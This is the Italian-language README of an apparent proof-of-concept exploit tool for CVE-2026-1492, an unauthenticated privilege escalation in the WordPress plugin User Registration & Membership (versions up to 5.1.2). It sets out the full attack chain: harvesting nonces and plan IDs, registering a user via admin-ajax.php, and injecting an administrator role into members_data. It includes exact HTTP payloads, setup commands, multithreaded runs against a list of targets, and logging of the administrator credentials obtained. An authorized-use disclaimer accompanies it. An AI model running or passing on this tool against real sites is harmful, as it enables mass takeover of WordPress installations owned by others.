
User Registration & Membership <= 5.1.2 - Escalation dei privilegi non autenticata tramite la registrazione dell'iscrizione
User Registration & Membership <= 5.1.2 - Escalation dei Privilegi Non Autenticata tramite la Registrazione alla Membership
Descrizione:
Il plugin User Registration & Membership per WordPress è vulnerabile all'Escalation dei Privilegi Non Autenticata in tutte le versioni fino alla 5.1.2 inclusa. La vulnerabilità deriva dal fatto che il gestore AJAX user_registration_membership_register_member accetta un valore role fornito dall'utente durante il processo di registrazione alla membership senza applicare alcuna lista consentita lato server o verifica delle capacità. Un attaccante remoto completamente non autenticato può creare una catena di richieste AJAX multi-step — registrando prima un nuovo account utente, poi inviando una chiamata register_member dannosa con "role": "administrator" iniettato nel payload JSON members_data — per creare silenziosamente un account Amministratore WordPress con pieni privilegi. Ciò comporta la compromissione totale dell'installazione WordPress interessata senza richiedere alcuna interazione con l'utente.
Questo è uno script di sfruttamento Proof-of-Concept (PoC) che implementa una catena di attacco completa e state-aware contro siti WordPress che eseguono una versione vulnerabile del plugin User Registration & Membership. Lo strumento esegue uno sfruttamento intelligente multi-fase con scoperta automatica, estrazione dei piani, raccolta dei nonce, registrazione a doppio flusso, iniezione del ruolo e verifica dell'amministratore.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Oppure tramite file dei requisiti:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clona il repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Installa le dipendenze
pip install -r requirements.txt
# Esegui lo strumento
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
Lo strumento utilizza un'interfaccia terminale completamente interattiva basata su Rich. Tutti i parametri vengono richiesti a runtime.
Crea un file di testo semplice (predefinito: list.txt) con un target per riga:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Lo strumento scopre e analizza automaticamente:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ Il server accetta il campo
roledal client senza alcuna validazione tramite lista consentita — questa è la causa principale di CVE-2026-1492.
Lo strumento apre una nuova sessione, effettua il login con le credenziali appena create e verifica:
https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-1492 | User Registration & Membership — Admin PoC ║
║ By: Nxploited | GitHub: github.com/Nxploited | @KNxploited ║
╚══════════════════════════════════════════════════════════════════════╝
[INFO] https://target.com
[OK] https://target.com | REG-A-OK user:Nxploited_A_482910 mem:3
[OK] https://target.com | MEM-A-OK membership A (role=administrator payload) sent
[OK] https://target.com | ADMIN-A user:Nxploited_A_482910 pass:Nx_12999 mem:3
┌─────────────────────────────��───────────────────────────────────────────────┐
│ Target │ Status │ Note │
├─────────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ ADMIN-A │ user:Nxploited_A_482910 ... │
│ https://target2.com │ MEM-B-FAIL │ membership not configured │
│ https://target3.com │ DEAD │ connection error │
└─────────────────────────────────────────────────────────────────────────────┘
By: Nxploited (Khaled Alenazi)
QUESTO STRUMENTO È FORNITO ESCLUSIVAMENTE A SCOPO EDUCATIVO E DI RICERCA SULLA SICUREZZA AUTORIZZATA.
L'autore, Nxploited (Khaled Alenazi), e tutti i contributori di questo progetto non approvano, non sostengono e non si assumono alcuna responsabilità per l'uso improprio di questo strumento o per qualsiasi danno causato dall'uso di questo software contro sistemi per i quali non si dispone di esplicita autorizzazione scritta.
- ✅ Consentito: Utilizzo su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta per i test.
- ❌ Vietato: Utilizzo contro qualsiasi sistema senza previa esplicita autorizzazione scritta da parte del proprietario del sistema.
L'accesso non autorizzato a sistemi informatici è illegale e punibile secondo le leggi applicabili, incluse, a titolo esemplificativo ma non esaustivo, il Computer Fraud and Abuse Act (CFAA), il Computer Misuse Act (CMA) e la legislazione equivalente a livello mondiale.
Utilizzando questo strumento, accetti l'unica e piena responsabilità per le tue azioni e confermi di avere l'autorità legale per testare i sistemi presi di mira.
L'autore non si assume alcuna responsabilità per danni diretti, indiretti, incidentali o consequenziali derivanti dall'uso o dall'uso improprio di questo software.
© 2026 Nxploited (Khaled Alenazi) — Solo per ricerca sulla sicurezza autorizzata.
| Campo | Dettagli |
|---|
| CVE ID | CVE-2026-1492 |
| Gravità | CRITICA — Punteggio CVSS v3.1: 9.8 |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Software Interessato | User Registration & Membership — Plugin per WordPress per la creazione di form di registrazione personalizzati, form di login personalizzati, profilo utente, restrizione dei contenuti e membership |
| Versioni Interessate | Tutte le versioni fino alla 5.1.2 inclusa |
| Tipo di Vulnerabilità | Gestione Impropria dei Privilegi — Creazione Non Autenticata di Account Amministratore |
| Autenticazione Richiesta | Nessuna |
| CWE | CWE-269: Gestione Impropria dei Privilegi |
| Target | Cosa viene Estratto |
|---|
/membership-pricing/ | ID dei piani di membership, link alla pagina di registrazione |
/registration/ | Campi del form, nonce, URL AJAX, input radio della membership |
Oggetto JS user_registration_params | nonce ajax_url, security, metadati del form |
ur_membership_frontend_localized_data | nonce specifico della membership, endpoint AJAX |
| Endpoint | Indicatore Controllato |
|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |
| File | Descrizione |
|---|
Nx_admin.txt | ✅ Account amministratore confermati |
membership_success_log.txt | Tutte le chiamate riuscite di iniezione del ruolo nella membership |
discovery_log.txt | Dati completi di scoperta per target (nonce, ID, campi) |
registration_log.txt | Tutte le richieste e risposte AJAX di registrazione |
membership_log.txt | Tutte le richieste e risposte AJAX della membership |
admin_check_log.txt | Tentativi di login e risultati della verifica dell'amministratore |
| Stato | Colore | Significato |
|---|
ADMIN-A / ADMIN-B | 🟢 Verde | Amministratore confermato — Flusso A o B |
ADMIN-A-OVERRIDE | 🟢 Verde | Amministratore confermato dopo il tentativo di override |
REG-A-FAIL / REG-B-FAIL | 🟡 Giallo | L'AJAX di registrazione ha restituito un errore |
MEM-A-FAIL / MEM-B-FAIL | 🟣 Magenta | La chiamata di iniezione del ruolo nella membership è fallita |
REG-PENDING-A/B | ⚫ Scuro | L'account richiede la verifica email o l'approvazione dell'amministratore |
NO-MEM-ID | ⚫ Scuro | ID del piano di membership non trovato sul target |
NO-UR-NONCE | ⚫ Scuro | Nonce di registrazione non estraibile |
NO-ADMIN | ⚫ Scuro | Membership OK ma accesso amministratore non confermato |
TIMEOUT | ⚫ Scuro | Timeout HTTP |
DEAD | ⚫ Scuro | Errore di connessione — sito irraggiungibile |
ERROR | 🔴 Rosso | Eccezione imprevista |